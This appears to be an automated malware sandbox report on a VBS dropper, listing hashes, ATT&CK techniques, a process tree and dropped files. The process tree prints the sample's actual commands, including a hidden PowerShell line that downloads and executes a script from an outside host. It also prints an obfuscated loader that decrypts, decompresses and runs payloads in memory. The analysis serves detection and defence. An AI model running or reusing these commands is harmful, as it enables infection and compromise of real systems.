6415105cf9e677626d5d9d25520b1dd1279bb8bc2ee820787d0fcc76ecd3e663

General

Target

6415105cf9e677626d5d9d25520b1dd1279bb8bc2ee820787d0fcc76ecd3e663.vbs
Size

78KB
MD5

f5bfac09b17af66506e500ce22c71f92
SHA1

bf949f2cb7457bcc173e0b98f656be133a088225
SHA256

6415105cf9e677626d5d9d25520b1dd1279bb8bc2ee820787d0fcc76ecd3e663
SHA512

5cab281eae07d317c02f031986b472967b4ffdca1dc3343d4e697f1ae1d8503ba237e5e1c7b60b55154f29421f7d3c79e1f125b56f96b98bcd58fa1677756d26
SSDEEP

1536:9dKIP+7Eys+3Xe05WVD8/PSfxDrtlsMKePYPm9nPJ6oMM:9dKIP8EyF3rqD8/2xvtBP0InR6NM

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe
2940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2776	powershell.exe
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2776	2664	WScript.exe	31
PID 2664 wrote to memory of 2776	2664	WScript.exe	31
PID 2664 wrote to memory of 2776	2664	WScript.exe	31
PID 2664 wrote to memory of 1068	2664	WScript.exe	33
PID 2664 wrote to memory of 1068	2664	WScript.exe	33
PID 2664 wrote to memory of 1068	2664	WScript.exe	33
PID 1068 wrote to memory of 2944	1068	cmd.exe	35
PID 1068 wrote to memory of 2944	1068	cmd.exe	35
PID 1068 wrote to memory of 2944	1068	cmd.exe	35
PID 1068 wrote to memory of 2940	1068	cmd.exe	36
PID 1068 wrote to memory of 2940	1068	cmd.exe	36
PID 1068 wrote to memory of 2940	1068	cmd.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6415105cf9e677626d5d9d25520b1dd1279bb8bc2ee820787d0fcc76ecd3e663.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mvtIQEpeE2igYXIdDEEHrUp8bEsGaEVGh0sp8SAhblA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vT8eb5DW9nWYQVd4hxOXDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GQouJ=New-Object System.IO.MemoryStream(,$param_var); $OJwfz=New-Object System.IO.MemoryStream; $jgIod=New-Object System.IO.Compression.GZipStream($GQouJ, [IO.Compression.CompressionMode]::Decompress); $jgIod.CopyTo($OJwfz); $jgIod.Dispose(); $GQouJ.Dispose(); $OJwfz.Dispose(); $OJwfz.ToArray();}function execute_function($param_var,$param2_var){ $zmCZQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $brFtT=$zmCZQ.EntryPoint; $brFtT.Invoke($null, $param2_var);}$tofzw = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $tofzw;$UpwQA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tofzw).Split([Environment]::NewLine);foreach ($ZFAFd in $UpwQA) { if ($ZFAFd.StartsWith('hSymiLYPJtzQULYISQvX')) { $aTuto=$ZFAFd.Substring(20); break; }}$payloads_var=[string[]]$aTuto.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
cc49ce3b6a2c61afa08d46410a78514a

SHA1
2a0f7a3890ee4844194715d83aa6bf771250e9d6

SHA256
26f4a4fe560cd59fdcaf064f059865da9b9723b7f8c8480e3e6bd8ccd6b3faf7

SHA512
f785cb451bb0ecfd554e65152652222860803e560ebe06a526c7f17b3bdeda9033a29a0250f97450b37bdf9d34599ccb9e5cb57fd97e46b83140076557b19d0b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cb533ad9ba9dad64785c022bfd450b05

SHA1
667b6f50ac71ab350d395e0f0e4683adf6784d0c

SHA256
f1e03f80a13f2be47793f17413e0700a25eece3fe477a99a79cd8c0d67301f44

SHA512
74619ef8f5d2e23ba6c2825004b3305bc1225968c58fdd820d7f49a83ec42d1be8fb14d9c9d0ef022890b08c6288f1be9e1731de793518eb047a7043e9b35e18

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9AQNRILPE63XHMLKNEII.temp

Filesize
7KB

MD5
db8efdf5c846937d5bf5186ee04e72fa

SHA1
24b320053353b5841a673dfb29852ba163c1384f

SHA256
48d4b4edac6813a0eba2b7f252898a7964fc9e5bd455ac8f3ca1da0a81a7a866

SHA512
f809bac8874ec04db4445b3aea491c25c20efa6b034478ef33f2acec4cf38642b8cecfd6375de4b5a817042a21112fc6aff7aa6aa9206c04e953efba2f6e4595

Download Submit
memory/2776-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2776-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-10-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-11-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-8-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-4-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2776-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2940-27-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2940-28-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing